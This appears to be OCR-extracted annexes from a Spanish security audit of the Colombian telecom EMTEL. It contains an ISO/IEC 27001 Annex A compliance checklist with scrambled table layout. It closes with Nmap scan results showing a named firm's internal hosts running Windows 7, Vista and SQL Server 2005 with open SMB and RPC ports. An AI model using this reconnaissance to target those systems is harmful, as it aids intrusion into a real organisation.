47 Técnico de soporte No aplica Media Media Baja Media




ANEXO D

CUMPLIMIENTO DE CONTROLES DEL ANEXO A DE LA NORMA ISO/IEC
27001 EN LA EMPRESA DE TELECOMUNICACIONES DE POPAYAN S.A

EMTEL E.S.P
Objetivo: Brindar orientacién y soporte, por parte de la direccién, para la NO
seguridad de la informacion de acuerdo con los requisitos del negocio y con | CUMPLE CUMPLE
las leyes y reglamentos pertinentes.
Se debe definir un conjunto
de politcas para la
Documento de la politica de | seguridad de la informacion
A5.1.1 seguridad y privacidad de la |aprobada por la direccion, X
Informacion publicada y comunicada a
los empleados y a las
partes externas pertinentes
Las politicas para
seguridad de la informacion
se deberian revisar a
Revision de la politica de intervalos planificados o Si
AS.1.2 seguridad de la informacion ocurren cambios X
significativos, para
asegurar su conveniencia,
adecuaciéon y  eficacia
contindas.

organizacion

CUMPLE

A.6 ORGANIZACION DE LA SEGURIDAD DE LA INFORMACION

Objetivo: Establecer un marco de referencia de gestion para iniciar y controlar
la implementacion y operacion de la seguridad de la informacion dentro de la

NO
CUMPLE

A6.1.1

Roles y responsabilidades para
la seguridad de la informacién

Se deben definir y asignar todas
las responsabilidades de la
seguridad de la informacién

A6.1.2

Separacion de deberes / tareas

Los deberes y areas de
responsabilidad en conflicto se
deben separar para reducir las
posibilidades de modificacion
no autorizada o no intencional,
o el uso indebido de los activos
de la organizacion.




A.6.1.3

Contacto con las autoridades.

Las organizaciones deben tener
procedimientos  establecidos
gue especifiquen cuando y a
través de que autoridades se
debe contactar a las
autoridades (por ejemplo, las
encargadas de hacer cumplir la
ley, los organismos de
reglamentacién y las
autoridades de supervision), y
como se debe reportar de una
manera oportuna los incidentes
de seguridad de la informacién
identificados (por ejemplo, si se
sospecha una violacion de la
ley).

A6.1.4

Contacto con grupos de interés
especiales

Se deben mantener contactos
apropiados con grupos de
interés especial u otros foros y
asociaciones profesionales
especializadas en seguridad.

A6.1.4

Seguridad de la informacion en
la gestion de proyectos

La seguridad de la informacién
se debe integrar al(los)
método(s) de gestion de
proyectos de la organizacion,
para asegurar que los riesgos
de seguridad de la informacién
se identifiquen y traten como
parte de un proyecto. Esto se
aplica generalmente a cualquier
proyecto, independientemente
de su naturaleza, por ejemplo,
un proyecto para un proceso del
negocio principal, Tl, gestion de
instalaciones y otros procesos
de soporte.

A.6.2 Dispositivos moviles y de teletrabajo

Objetivo: Garantizar la seguridad del teletrabajo y el uso de dispositivos méviles

CUMPLE

NO
CUMPLE

A6.1.1

Politica para dispositivos
moviles

Se deberian adoptar una
politica y unas medidas de
seguridad de soporte, para
gestionar los riesgos
introducidos por el uso de
dispositivos moviles.




Se deberian implementar una
politica y unas medidas de
seguridad de soporte, para
proteger la informacion a la que
se tiene acceso, que es
procesada o almacenada en los
lugares en los que se realiza
teletrabajo.

A.7 SEGURIDAD DE LOS RECURSOS HUMANOS

Objetivo: Asegurar que los empleados y contratistas comprenden sus CUMPLE NO
responsabilidades y son idoneos en los roles para los que se le consideran. CUMPLE

A6.1.2 Teletrabajo

Las verificaciones de los
antecedentes de todos los
candidatos a un empleo se
deben llevar a cabo de
acuerdo con las leyes,
Seleccion e investigacion de | reglamentos y ética
antecedentes pertinentes, y deberian ser
proporcionales a los
requisitos de negocio, a la
clasificaciéon de la
informacion a que se va a
tener acceso, y alos riesgos
percibidos.
Los acuerdos contractuales
con empleados y
contratistas, deben
Términos y condiciones del | establecer sus
empleo responsabilidades y las de
la organizacion en cuanto a
la  seguridad de la
informacion.

A.7.2 Durante la ejecucién del empleo

AT7.11

A7.1.2

Objetivo: Asegurarse de que los empleados y contratistas tomen conciencia NO

de sus responsabilidades de seguridad de la informacion y las cumplan CUMPLE | CUMPLE
La direccién debe exigir a
todos los empleados vy
contratistas la aplicacion de
la  seguridad de la
informacion de acuerdo con X
las politicas y
procedimientos
establecidos por la
organizacion.

Responsabilidades de la

A721 . .
direccion




AT7.2.2

Toma de conciencia,
educacion y formacion en la
seguridad de la informacién

Todos los empleados de la
Entidad, y en donde sea
pertinente, los contratistas,
deben recibir la educacion y
la formacion en toma de
conciencia apropiada, Yy
actualizaciones regulares
sobre las politicas vy
procedimientos pertinentes
para su cargo.

A.7.2.3

Proceso disciplinario

Se debe contar con un
proceso disciplinario formal
el cual deberia ser
comunicado, para
emprender acciones contra
empleados que hayan
cometido una violacién a la
seguridad de la
informacion.

A.7.3 Terminacién y cambio de empleo

Objetivo: Proteger los intereses de la organizacion como parte del proceso
de cambio o terminacién de empleo

CUMPLE

NO
CUMPLE

A73.1

Terminacion o
responsabilidades de empleo

cambio de

Las responsabilidades y los
deberes de seguridad de la
informacion que
permanecen validos
después de la terminacion o
cambio de contrato se
deberian definir, comunicar
al empleado o contratista y
se deberian hacer cumplir.

A.8 GESTION DE ACTIVOS

Objetivo: Identificar los activos organizacionales vy definir las NO
responsabilidades de proteccidén apropiadas CUMPLE | CUMPLE
Se deben identificar los
activos asociados con la
informacion y las
A.8.1.1 Inventario de activos mstalacmr_\es de X
procesamiento de
informacién, y se debe
elaborar y mantener un
inventario de estos activos.
Los activos mantenidos en
A.8.1.2 Propiedad de los activos el inventario deben tener un X
propietario.




A.8.1.3

Uso aceptable de los activos

Se deben identificar,
documentar e implementar
reglas para el uso aceptable
de informacién y de activos
asociados con informacion
e instalaciones de
procesamiento de
informacion.

A8.1.4

Devolucion de activos

Todos los empleados vy
usuarios de partes externas
deben devolver todos los
activos de la organizacion
que se encuentren a su
cargo, al terminar su
empleo, contrato o acuerdo.

A.8.2 Clasificacion de la informacion

Objetivo: Asegurar que la informacion recibe un nivel apropiado de
proteccién, de acuerdo con su importancia para la Entidad.

CUMPLE

NO
CUMPLE

A8.2.1

Clasificacion de la

informacioén

La informacion se deberia
clasificar en funcién de los
requisitos legales, valor,
criticidad y susceptibilidad a
divulgacion o a modificacion
no autorizada.

A.8.2.2

Etiquetado de la informacion

Se debe desarrollar e
implementar un conjunto
adecuado de
procedimientos para el
etiquetado de la
informacion, de acuerdo con
el esquema de clasificacion
de informacién adoptado
por la organizacion.

A.8.2.3

Manejo de activos

Se deben desarrollar e
implementar

procedimientos para el
manejo de activos, de
acuerdo con el esquema de
clasificacion de informacion
adoptado por la
organizacion.

A.8.3 Manejo de medios

Objetivo: Evitar la divulgacion, la modificacion, el retiro o la destruccion no
autorizados de la informacion almacenada en los medios.

CUMPLE

NO
CUMPLE




Se deben implementar
procedimientos para la
. , estion de medios
A8.3.1 Gestlo.n de medios ?emovibles, de acuerdo con X

removibles S

el esquema de clasificacion

adoptado por la
organizacién
Se debe disponer en forma
segura de los medios
A.8.3.2 Disposicion de los medios cuando ya no se requieran, X
utilizando procedimientos
formales
Los medios que contienen
informacion se deben
Transferencia de medios proteger contra acceso no
fisicos autorizado, uso indebido o
corrupcién durante el
transporte

A.9 CONTROL DE ACCESO

A.9.1 Requisitos del negocio para control de acceso

A.8.3.3

Objetivo: Limitar el acceso a la informacién y a instalaciones de NO
procesamiento de informacién CUMPLE | CUMPLE
Se debe establecer,
documentar y revisar una
politica de control de acceso
con base en los requisitos
del negocio y de seguridad
de la informacion.

Se debe permitir acceso de
los usuarios a la red y a los
servicios de red para los que X

A9.1.1 Politica de control de acceso

A9 1.2 Acceso a redes y a servicios

en red hayan sido autorizados

especificamente.
A.9.2 Gestion de acceso de usuarios
Objetivo: Asegurar el acceso de los usuarios autorizados y evitar el acceso NO
no autorizado a sistemas y servicios CUMPLE | CUMPLE

Se debe implementar un
proceso formal de registro y

Registro y cancelacion del de cancelacion de registro

A9.21 ; ; . - X

registro de usuarios de usuarios, para posibilitar
la asignacion de los
derechos de acceso.




A.9.2.2

Suministro de acceso de
usuarios

Se debe implementar un
proceso de suministro de
acceso formal de usuarios
para asignar o revocar los
derechos de acceso a todo
tipo de usuarios para todos
los sistemas y servicios.

A.9.2.3

Gestion de derechos de
acceso privilegiado

Se debe restringir y controlar
la asignacion y uso de
derechos de acceso
privilegiado.

A9.2.4

informacién de
secreta de

Gestion de
autenticacion
usuarios

La asignacion de
informacion de autenticacion
secreta se debe controlar
por medio de un proceso de
gestion formal.

A9.25

Revisién de los derechos de
acceso de usuarios

Los propietarios de los
activos deben revisar los
derechos de acceso de los
usuarios, a intervalos
regulares.

A.9.2.6

Retiro o ajuste de los
derechos de acceso

Los derechos de acceso de
todos los empleados y de
usuarios externos a la
informacibon 'y a las
instalaciones de
procesamiento de
informacion se deben retirar
al terminar su empleo,
contrato o acuerdo, o se
deben ajustar cuando se
hagan cambios.

A.9.3 Responsabilidades de los usuarios

Objetivo: Hacer que los usuarios rindan cuentas por la salvaguarda de su
informacion de autenticacion

CUMPLE

NO
CUMPLE

A93.1

Uso de informacion de
autenticacion secreta

Se debe exigir a los usuarios
que cumplan las practicas
de la organizacion para el
uso de informacion de
autenticacion secreta.

A.9.4 Control de acceso a sistemas y aplicaciones

Objetivo: Evitar el acceso no autorizado a sistemas y aplicaciones

CUMPLE

NO
CUMPLE

A94.1

Restriccion de acceso a la
informacion

El acceso a la informacion y
a las funciones de los
sistemas de las aplicaciones
se deberia restringir de

X




acuerdo con la politica de
control de acceso.

A.9.4.2

Procedimiento de
seguro

ingreso

Cuando lo requiere la
politca de control de
acceso, el acceso a
sistemas y aplicaciones se
debe controlar mediante un
proceso de ingreso seguro.

A.9.4.3

Sistema de
contrasefas

gestion de

Los sistemas de gestion de
contrasefias deben ser
interactivos y deben
asegurar la calidad de las
contrasenas.

A9.4.4

Uso de programas utilitarios
privilegiados

Se debe restringir y controlar
estrictamente el uso de
programas utilitarios que
pudieran tener capacidad de
anular el sistema y los
controles de las
aplicaciones.

A.9.4.5

Control de acceso a cbédigos
fuente de programas

Se debe restringir el acceso
a los cddigos fuente de los
programas.

A.10 CRIPTOGRAFIA

A.10.1 Controles criptograficos

Objetivo: Asegurar el uso apropiado y eficaz de la criptografia para proteger
la confidencialidad, la autenticidad y/o la integridad de la informacion

CUMPLE

NO
CUMPLE

A.10.1.1

Politica sobre el uso de
controles criptograficos

Se debe desarrollar e
implementar una politica
sobre el uso de controles
criptograficos para la
proteccion de la
informacion.

A.10.1.2

Gestion de llaves

Se debe desarrollar e
implementar una politica
sobre el uso, proteccién y
tiempo de vida de las
llaves criptogréficas
durante todo su ciclo de
vida.




A.11 SEGURIDAD FiSICA Y DEL ENTORNO

A.11.1 Areas seguras

organizacion.

Objetivo: Prevenir el acceso fisico no autorizado, el dafio y la interferencia a la
informacién y a las instalaciones de procesamiento de informacién de la

CUMPLE

NO
CuU

MPLE

All1l1l

Perimetro de seguridad fisica

Se debe definir y usar
perimetros de seguridad, y
usarlos para proteger areas
gue contengan informacién
sensible o critica, e
instalaciones de manejo de
informacion.

Al11.1.2

Controles fisicos de entrada

Las areas seguras se deben
proteger mediante controles
de entrada apropiados para
asegurar que solamente se
permite el acceso a personal
autorizado.

A.11.13

Seguridad de oficinas, recintos e

instalaciones

Se debe disefiar y aplicar
seguridad fisica a oficinas,
recintos e instalaciones.

All.14

Proteccion
externas y ambientales

contra amenazas

Se debe disefiar y aplicar
proteccion  fisica  contra
desastres naturales, atagues
maliciosos o accidentes.

Al11.15

Trabajo en areas seguras

Se debe disefiar y aplicar
procedimientos para trabajo
en areas seguras.

A.11.16

Areas de despacho y carga

Se debe controlar los puntos
de acceso tales como areas
de despacho y de carga, y
otros puntos en donde
pueden entrar personas no
autorizadas, y si es posible,
aislarlos de las instalaciones
de procesamiento de
informacién para evitar el
acceso no autorizado.

A.11.2 Equipos

Objetivo: Prevenir la perdida, dafo, robo o compromiso de activos, y la
interrupcioén de las operaciones de la organizacion

CUMPLE

CuU

NO
MPLE




Al11.2.1

Ubicacion y proteccion de los
equipos

Los equipos deben estar
ubicados y protegidos para
reducir los riesgos de
amenazas y peligros del
entorno, y las oportunidades
para acceso no autorizado.

A11.2.2

Servicios de suministro

Los equipos se deben
proteger contra fallas de
energia y otras
interrupciones causadas por
fallas en los servicios de
suministro.

A11.2.3

Seguridad del cableado

El cableado de potencia y de
telecomunicaciones que
porta datos o0 soporta
servicios de informacion
debe estar protegido contra
interceptacion, interferencia
o dafio.

A1l1.24

Mantenimiento de equipos

Los equipos se deben
mantener correctamente
para asegurar su
disponibilidad e integridad
continuas.

A.11.2.5

Retiro de activos

Los equipos, informacion o
software no se deben retirar
de su sitio sin autorizacion
previa.

A11.2.6

Seguridad de equipos y activos
fuera de las instalaciones

Se debe aplicar medidas de
seguridad a los activos que
se encuentran fuera de las
instalaciones de la
organizacion, teniendo en
cuenta los diferentes riesgos
de trabajar fuera de dichas
instalaciones.

A11.2.7

Disposicion segura o]
reutilizacion de equipos

Se debe verificar todos los
elementos de equipos que
contengan medios de
almacenamiento, para
asegurar que cualquier dato
sensible o software con
licencia haya sido retirado o
sobrescrito en forma segura
antes de su disposicion o
rehuso.




Los usuarios deben
asegurarse de que a los
equipos desatendidos se les
dé proteccion apropiada.

Se debe adoptar una politica
de escritorio limpio para los
papeles y medios de
Politica de escritorio limpio y|almacenamiento removibles,
pantalla limpia y una politica de pantalla
limpia en las instalaciones de
procesamiento de
informacion.

A.12 SEGURIDAD DE LAS OPERACIONES

A.12.1 Procedimientos operacionales y responsabilidades

Objetivo: Asegurar las operaciones correctas y seguras de las instalaciones NO

de procesamiento de informaciéon CUMPLE | CUMPLE
Los procedimientos de
operacion se deben
documentar y poner a X
disposicion de todos los
usuarios que los necesiten.
Se debe controlar los
cambios en la organizacion,
en los procesos de negocio,
en las instalaciones y en los
sistemas de procesamiento
de informacién que afectan
la  seguridad de la
informacion.

Para asegurar el
desempefio requerido del
sistema se debe hacer
seguimiento al uso de los
recursos, hacer los ajustes,
y hacer proyecciones de los
requisitos sobre la
capacidad futura.

Se debe separar los
ambientes de desarrollo,
Separacion de los ambientes |prueba y operacion, para

A.11.2.8 Equipos de usuario desatendidos

A11.2.9

Procedimientos de operacion

Al121.1 documentados

Al12.1.2 Gestidn de cambios

A.12.1.3 Gestién de capacidad

Al12.1.4 de desarrollo, pruebas vy |reducir los riesgos de X
operacion acceso 0 cambios no
autorizados al ambiente de
operacion.

A.12.2 Proteccidon contra cédigos maliciosos

Objetivo: Asegurarse de que la informacion las instalaciones de NO
procesamiento de informacion estén protegidas contra codigos maliciosos CUMPLE | CUMPLE




Al12.21

Controles

contra  codigos

maliciosos

Se debe implementar
controles de deteccion, de
prevencién y de
recuperacion, combinados
con la toma de conciencia
apropiada de los usuarios,
para proteger contra codigos
maliciosos.

A.12.3 Copias de respaldo

Objetivo: Proteger contra la perdida de datos

CUMPLE

NO
CUMPLE

A123.1

Respaldo de la informacién

Se debe hacer copias de
respaldo de la informacion,
del software e imagenes de
los sistemas, y ponerlas a
prueba regularmente de
acuerdo con una politica de
copias de respaldo
aceptada.

A.12.4 Registro y seguimiento

Objetivo: Registrar eventos y generar evidencia.

CUMPLE

NO
CUMPLE

Al24.1

Registro de eventos

Se debe elaborar, conservar
y revisar regularmente los
registros acerca de
actividades del usuario,
excepciones, fallas y
eventos de seguridad de la
informacion.

A12.4.2

Proteccién de la informacién
de registro

Las instalaciones y la
informacion de registro se
deben  proteger contra
alteraciéon y acceso no
autorizado.

A.12.43

Registros del administrador y

del operador

Las actividades del
administrador y del operador
del sistema se deben
registrar, y los registros se
deben proteger y revisar con
regularidad.

Al12.4.4

Sincronizacion de relojes

Los relojes de todos los
sistemas de procesamiento
de informacion pertinentes
dentro de una organizacion
0 ambito de seguridad se
deben sincronizar con una
Unica fuente de referencia
de tiempo.

A.12.5 Control de software operacional




Objetivo: Asegurar la integridad de los sistemas operacionales.

CUMPLE

NO
CUMPLE

A125.1

Instalacion de software en
sistemas operativos

Se debe implementar
procedimientos para
controlar la instalacién de
software en sistemas
operativos.

A.12.6 Gestién de la vulnerabilidad técnica

Objetivo: Prevenir el aprovechamiento de las vulnerabilidades técnicas

CUMPLE

NO
CUMPLE

A126.1

Gestion

de

vulnerabilidades técnicas

las

Se debe obtener
oportunamente informacién
acerca de las
vulnerabilidades técnicas de
los sistemas de informacion
gue se usen; evaluar la
exposicion de la
organizacion a estas
vulnerabilidades, y tomar las
medidas apropiadas para
tratar el riesgo asociado.

A.12.6.2

Restricciones

sobre

instalacién de software

la

Se debe establecer e
implementar las reglas para
la instalacion de software
por parte de los usuarios.

A.12.7 Consideraciones sobre auditorias de sistemas de informacion

Objetivo: Minimizar el impacto de las actividades de auditoria sobre los
sistemas operacionales.

CUMPLE

NO
CUMPLE

Al2.7.1

Controles sobre auditorias de
sistemas de informaciéon

Los requisitos y actividades
de auditoria que involucran
la verificacion de los
sistemas  operativos se
deben planificar y acordar
cuidadosamente para
minimizar las interrupciones
en los procesos del negocio.




A.13 SEGURIDAD DE LAS COMUNICACIONES ‘

A.13.1 Gestion de la seguridad de las redes

Objetivo: Asegurar la proteccion de la informacion en las redes, y sus NO
instalaciones de procesamiento de informacién de soporte. CUMPLE | CUMPLE

Las redes se deben
gestionar y controlar para
proteger la informacion en
sistemas y aplicaciones.

A.13.1.1 Controles de redes

Se debe identificar los
mecanismos de seguridad,
los niveles de servicio y los
requisitos de gestién de
Seguridad de los servicios de |todos los servicios de red, e
red incluirlos en los acuerdos
de servicios de red, ya sea
gue los servicios se presten
internamente o se contraten
externamente.

A.13.1.2

Los grupos de servicios de
informacién, usuarios vy
sistemas de informacién se
deben separar en las redes.

A.13.1.3 Separacion en las redes

A.13.2 Transferencia de informacion

Objetivo: Mantener la seguridad de la informacién transferida dentro de una NO
organizacion y con cualquier entidad externa. CUMPLE | CUMPLE
Se debe contar con
politicas, procedimientos y
controles de transferencia
formales para proteger la
transferencia de X
informacion mediante el
uso de todo tipo de
instalaciones de
comunicacion.
Los acuerdos deben tener
en cuenta la transferencia
Acuerdos sobre transferencia | segura de informacion del
de informacién negocio entre la
organizacion y las partes
externas.
Se debe proteger
A.13.2.3 Mensajeria electronica ?‘decuadf'%meme . la X
informaciéon incluida en la
mensajeria electronica.

Politicas y procedimientos de

A.13.2.1 ! i o
transferencia de informacion

A.13.2.2




A.13.2.4

Acuerdos de confidencialidad
o de no divulgacion

Se debe identificar, revisar
regularmente y documentar

los requisitos para los
acuerdos de
confidencialidad 0 no

divulgacién que reflejen las

necesidades de la
organizacion para la
proteccién de la
informacion.

A.14 ADQUISICION, DESARROLLO Y MANTENIMIENTO DE SISTEMAS ‘

A.14.1 Requisitos de seguridad de los sistemas de informacién

publicas.

Objetivo: Asegurar que la seguridad de la informacién sea una parte integral de
los sistemas de informacion durante todo el ciclo de vida. Esto incluye también
los requisitos para sistemas de informacién que prestan servicios en redes

CUMPLE

NO
CUMPLE

Al411

Andlisis y especificacion de
requisitos de seguridad de la
informacion

Los requisitos relacionados
con seguridad de la
informacion se deben incluir
en los requisitos para nuevos
sistemas de informacion o
para mejoras a los sistemas
de informacion existentes.

A.14.1.2

Seguridad de servicios de las
aplicaciones en redes publicas

La informacién involucrada
en los servicios de
aplicaciones que pasan
sobre redes publicas se debe
proteger de actividades
fraudulentas, disputas
contractuales y divulgacion y
modificacion no autorizadas.

A.14.1.3

Proteccién de transacciones
de los servicios de las
aplicaciones

La informacion involucrada
en las transacciones de los
servicios de las aplicaciones
se debe proteger para evitar
la transmisién incompleta, el
enrutamiento  errado, la
alteracion no autorizada de
mensajes, la divulgacion no
autorizada, y la duplicacién o
reproduccion de mensajes no
autorizada.

A.14.2 Seguridad en los procesos de desarrollo y de soporte

informacion.

Objetivo: Asegurar de que la seguridad de la informacion esté disefiada e
implementada dentro del ciclo de vida de desarrollo de los sistemas de

CUMPLE

NO
CUMPLE




Al14.2.1

Politica de desarrollo seguro

Se debe establecer y aplicar
reglas para el desarrollo de
software y de sistemas, a los
desarrollos que se dan
dentro de la organizacion.

A.14.2.2

Procedimientos de control de
cambios en sistemas

Los cambios a los sistemas
dentro del ciclo de vida de
desarrollo se deben controlar
mediante el uso de
procedimientos formales de
control de cambios.

A.14.2.3

Revision técnica de las
aplicaciones después de
cambios en la plataforma de
operacion

Cuando se cambian las
plataformas de operacion, se
deben revisar las
aplicaciones criticas del
negocio, y ponerlas a prueba
para asegurar que no haya
impacto adverso en las
operaciones o seguridad de
la organizacion.

A.14.2.4

Restricciones en los cambios
a los paquetes de software

Se deben desalentar las
modificaciones a los
paguetes de software, que se
deben limitar a los cambios
necesarios, y todos los
cambios se deben controlar
estrictamente.

A.14.2.5

Principios de construccion de
sistemas seguros

Se deben establecer,
documentar 'y mantener
principios para la
construccibn de sistemas
seguros, Yy aplicarlos a
cualquier actividad de
implementacién de sistemas
de informacion.

A.14.2.6

Ambiente de desarrollo seguro

Las organizaciones deben
establecer y proteger
adecuadamente los
ambientes de desarrollo
seguros para las tareas de
desarrollo e integracion de
sistemas que comprendan
todo el ciclo de vida de
desarrollo de sistemas.




La organizacioén debe
supervisar y hacer
seguimiento de la actividad X
de desarrollo de sistemas
contratados externamente.

Desarrollo contratado

A.14.2.7
externamente

Durante el desarrollo se debe
llevar a cabo pruebas de
funcionalidad de la
seguridad.

Pruebas de seguridad de

A.14.2.8 .
sistemas

sistemas de
nuevos,
nuevas

Para los
informacion
actualizaciones vy
versiones, se debe
establecer programas de
prueba para aceptacion y
criterios de  aceptacion
relacionados.

Prueba de aceptacion de

A.14.2.9 sistemas

A.14.3 Datos de prueba

NO

Objetivo: Asegurar la proteccion de los datos usados para pruebas. CUMPLE | CUMPLE

Los datos de ensayo se
deben seleccionar, proteger X
y controlar cuidadosamente.

A.14.3.1 Proteccion de datos de prueba

A.15 RELACIONES CON LOS PROVEEORES

A.15.1 Seguridad de lainformaci6n en las relaciones con los proveedores
Objetivo: Asegurar la proteccion de los activos de la entidad que sean NO
accesibles para los proveedores CUMPLE | CUMPLE

Los requisitos de seguridad
de la informacién para

Politica de seguridad de la
informacion para las

mitigar los riesgos asociados
con el acceso de

suministrar componentes de
infraestructura de TI para la
informacion de la
organizacion.

Al151.1 . . X
relaciones con los proveedores a los activos de
proveedores la organizacién se deben
acordar con estos y se
deben documentar.
Se deben establecer vy
acordar todos los requisitos
de seguridad de la
informacion pertinentes con
Tratamiento de la seguridad | cada proveedor que pueda
A.15.1 .2 dentro de los acuerdos con tener acceso, procesar, X
los proveedores almacenar, comunicar o0




A.15.1 .3

Cadena de suministro de
tecnologia de informacion y
comunicacion

Los acuerdos con
proveedores deben incluir
requisitos para tratar los
riesgos de seguridad de la
informacion asociados con
la cadena de suministro de
productos y servicios de
tecnologia de informacion y
comunicacion.

A. 15.2 Gestion de la prestacién de servicios de proveedores

Objetivo: Mantener el nivel acordado de seguridad de la informacién y de
prestacion del servicio en linea con los acuerdos con los proveedores.

CUMPLE

NO
CUMPLE

A.15.2.1

Seguimiento y revision de los
servicios de los proveedores

Las organizaciones deben
hacer seguimiento, revisar y
auditar con regularidad la
prestacion de servicios de
los proveedores.

A.15.2.2

Gestion de cambios en los
servicios de los proveedores

Se deben gestionar los
cambios en el suministro de
servicios por parte de los
proveedores, incluido el
mantenimiento y la mejora
de las politicas,
procedimientos y controles
de seguridad de la
informacion existentes,
teniendo en cuenta la
criticidad de la informacion,
sistemas y procesos del
negocio involucrados, y la
reevaluacion de los riesgos.

A.16 GESTION DE INCIDENTES Y MEJORAS EN LA SEGURIDAD DE LA INFORMACION

A.16.1 Gestion de incidentes y mejoras en la seguridad de la informacién

Objetivo: Asegurar un enfoque coherente y eficaz para la gestion de
incidentes de seguridad de la informacion, incluida la comunicacion sobre
eventos de seguridad y debilidades.

CUMPLE

NO
CUMPLE

A.16.1.1

Responsabilidades y
procedimientos

Se debe establecer las
responsabilidades y
procedimientos de gestion
para asegurar una
respuesta rapida, eficaz y
ordenada a los incidentes
de seguridad de |Ila
informacion.




A.16.1.2

Reporte de eventos de
seguridad de la informacion

Los eventos de seguridad
de la informacién se deben
informar a través de los
canales de gestion
apropiados, tan pronto
como sea posible.

A.16.1.3

Reporte de debilidades de
seguridad de la informacion

Se debe exigir a todos los
empleados y contratistas
que usan los servicios y
sistemas de informacion de
la organizacion, que
observen e informen
cualquier debilidad de
seguridad de la informacion
observada o sospechada
en los sistemas o servicios.

A.16.1.4

Evaluacién de eventos de
seguridad de la informacion y
decisiones sobre ellos

Los eventos de seguridad
de la informacién se deben
evaluar y se debe decidir si
se van a clasificar como
incidentes de seguridad de
la informacion.

A.16.1.5

Respuesta a incidentes de
seguridad de la informacion

Se debe dar respuesta a los
incidentes de seguridad de
la informacion de acuerdo
con procedimientos
documentados.

A.16.1.6

Aprendizaje obtenido de los
incidentes de seguridad de la
informacion

El conocimiento adquirido al
analizar y resolver
incidentes de seguridad de
la informacion se debe usar
para reducir la posibilidad o
el impacto de incidentes
futuros.

A.16.1.7

Recoleccién de evidencia

debe
aplicar

La organizacion
definir y

procedimientos para la
identificacién, recoleccion,
adquisicién y preservacion
de informacion que pueda
servir como evidencia.




A.17 ASPECTOS DE SEGURIDAD DE LA INFORMACION DE LA GESTION DE CONTINUIDAD DE

NEGOCIO
A.17.1 Continuidad de seguridad de la informacién
Objetivo: La continuidad de la seguridad de la informacién debe incluir en NO
los sistemas de gestion de la continuidad del negocio de la Entidad. CUMPLE | CUMPLE

La organizacion  debe
determinar sus requisitos
para la seguridad de la
Planificacién de la continuidad | informacion y la continuidad
Al17.11 de la seguridad de lajde la gestion de Ila X
informacion seguridad de la informacién
en situaciones adversas,
por ejemplo, durante una
crisis o desastre.

La organizacion  debe
establecer, documentar,
implantar 'y mantener

Implementacion ~ de  la|procesos, procedimientos y
A1712 COﬂtII’]UIdad de |a. Segundad de Controles para asegurar el X
la informacion nivel de continuidad

requerido para la seguridad
de la informacién durante
una situacion adversa.

La organizacion  debe

verificar a intervalos
regulares los controles de
Verificacion, revision y | continuidad de la seguridad
A1713 evaluacion de I_a continuidad | de !a _ informacion X
de la seguridad de Ila|establecidaimplementados,
informacion. con el fin de asegurar que
son vdlidos y eficaces
durante situaciones
adversas.
A.17.2 Redundancias
Objetivo: Asegurar la disponibilidad de instalaciones de procesamiento de NO
informacién CUMPLE | CUMPLE
Las instalaciones de
procesamiento de
Disponibilidad de informacion  se  deben
Al7.2.1 instalaciones de implementar con X

procesamiento de informacion | redundancia suficiente para
cumplir los requisitos de
disponibilidad




A.18 CUMPLIMIENTO

A.18.1 Cumplimiento de requisitos legales y contractuales

Objetivo: Evitar el incumplimiento de las obligaciones legales, estatutarias,
de reglamentacion o contractuales relacionadas con seguridad de la
informacién y de cualquier requisito de seguridad.

CUMPLE

NO
CUMPLE

A.18.1.1

Identificacion de la
legislacion aplicable y de los
requisitos contractuales.

Todos los requisitos
estatutarios, reglamentarios y
contractuales pertinentes y el
enfoque de la organizacion
para cumplirlos, se deben
identificar 'y documentar
explicitamente, y
mantenerlos actualizados
para cada sistema de
informacion 'y para la
organizacion.

A.18.1.2

Derechos de
intelectual.

propiedad

Se deben implementar
procedimientos apropiados
para asegurar el
cumplimiento de los
requisitos legislativos, de
reglamentacion y
contractuales  relacionados
con los derechos de
propiedad intelectual y el uso
de productos de software
patentados.

A.18.1.3

Proteccion de registros.

Los requisitos se deben
proteger contra perdida,
destruccion, falsificacion,
acceso no autorizado vy
liberacion no autorizada, de
acuerdo con los requisitos
legislativos, de
reglamentacion,
contractuales y de negocio.

A.18.14

Proteccion de los datos y
privacidad de la informacion
relacionada con los datos
personales.

Se debe asegurar la
privacidad y la proteccion de
la informacion de datos
personales, como se exige en
la legislacion y la
reglamentacion pertinentes,
cuando sea aplicable.

A.18.1.5

Reglamentacién de controles
criptograficos.

Se deben wusar controles
criptograficos, en
cumplimiento de todos los
acuerdos, legislaciéon vy
reglamentaciéon pertinente.




A.18.2 Revisiones de seguridad de la informacién

Objetivo: Asegurar que la seguridad de la informacién se implemente y
opere de acuerdo con las politicas y procedimientos organizacionales

CUMPLE

NO
CUMPLE

El enfoque de la organizacion
para la gestibn de la
seguridad de la informacion y
su implementacion (es decir,
los objetivos de control, los
controles, las politicas, los

Revisién independiente de la | procesos y los
A.18.2.1 . ) 9 o X
seguridad de la informacién | procedimientos para
seguridad de la informacion)
se deben revisar
independientemente a
intervalos  planificados o
cuando ocurran cambios
significativos.
Los directores deben revisar
con regularidad el
cumplimiento y
- procedimientos de
Cumplimiento con las |: L, .
py informacion dentro de su area
A.18.2.2 politcas y normas de . X
. de responsabilidad, con las
seguridad. -
politcas y normas de
seguridad apropiadas, vy
cualquier otro requisito de
seguridad.
Los sistemas de informacion
deben chequearse
Revision de cumplimiento regularmente para el
A.18.2.3 . P cumplimiento con los X
técnico. .
estandares de
implementacion de la

seguridad.




ANEXO E
RESULTADOS DEL RECONOCIMIENTO DE ACTIVOS CON NMAP

DIRECCION IP: 192.168. 2 .155
COMPUTADOR DE ESCRITORIO DE TI
SISTEMA OPERATIVO: Windows 7 Professional

| PUERTO PROTOCOLO ESTADO|SERVICIO| VERSION |
135 Tcp Open Msrpc Microsoft Windows RPC
139 Tcp Open |netbios-ssn| Microsoft Windows netbios-ssn
microsoft- | Windows 7 Professional 7601
445 Tep Open ds Service Pack 1 microsoft-ds
554 Tcp Open Rtsp
Microsoft HTTPAPI httpd 2.0
2869 Tcp Open http (SSDP/UPNP)
7070 Tcp Open |Realserver
Microsoft HTTPAPI httpd 2.0
10243 Tcp Open http (SSDP/UPNP)
DIRECCION IP: 192.168. 1.60
COMPUTADOR DE ESCRITORIO DE Tl
SISTEMA OPERATIVO: Windows Vista
'PUERTO PROTOCOLO ESTADO |SERVICIO | VERSION |
135 Tcp open Msrpc Microsoft Windows RPC
139 Tcp Open |netbios-ssn| Microsoft Windows netbios-ssn
445 Tcp Open | microsoft- |  Windows Vista (TM) Business

ds 6002 Service Pack 2 microsoft-ds
(workgroup:SISTEMAS)
1433 Tcp Open ms-sql-s Microsoft SQL Server 2005
9.00.1399.00;RTM

2383 Tcp Open | ms-olap4
